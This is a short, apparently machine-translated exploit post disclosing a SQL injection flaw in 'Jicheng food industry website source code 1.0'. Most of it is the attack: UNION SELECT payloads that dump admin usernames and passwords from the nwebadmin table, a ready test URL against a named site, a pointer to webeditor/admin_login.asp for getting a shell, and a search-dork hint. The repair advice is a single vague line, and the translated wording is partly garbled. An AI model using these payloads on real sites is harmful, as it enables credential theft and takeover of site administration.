Jicheng food industry website source code 1.0 injection vulnerability and repair

By Mr. DzY
From www.0855. TV

This system seems to have been developed in. Is it an original work? It is to be verified! Change it ..

Address: http://www.bkjia.com/ym/201006/21198.html
Default background: system/index. asp

EXP:
Union select 1, 2, 3, username, password, 6, 7, 8, 9, 10, 11, 12 from nwebadmin
Union select 1, 2, 3, username, password, 6, 7, 8, 9, 10, 11, 12, 13 from nwebadmin

Test
:
Http://www.bkjia.com/cms/shipin/NewsView. asp? Id = 63 union select 1, 2, 3, username, password, 6, 7, 8, 9, 10, 11, 12 from nwebadmin

Access webeditor/admin_login.asp with shell: log on to the background

Fix: filter... But you must pay attention to cookies.

Inurl: omitted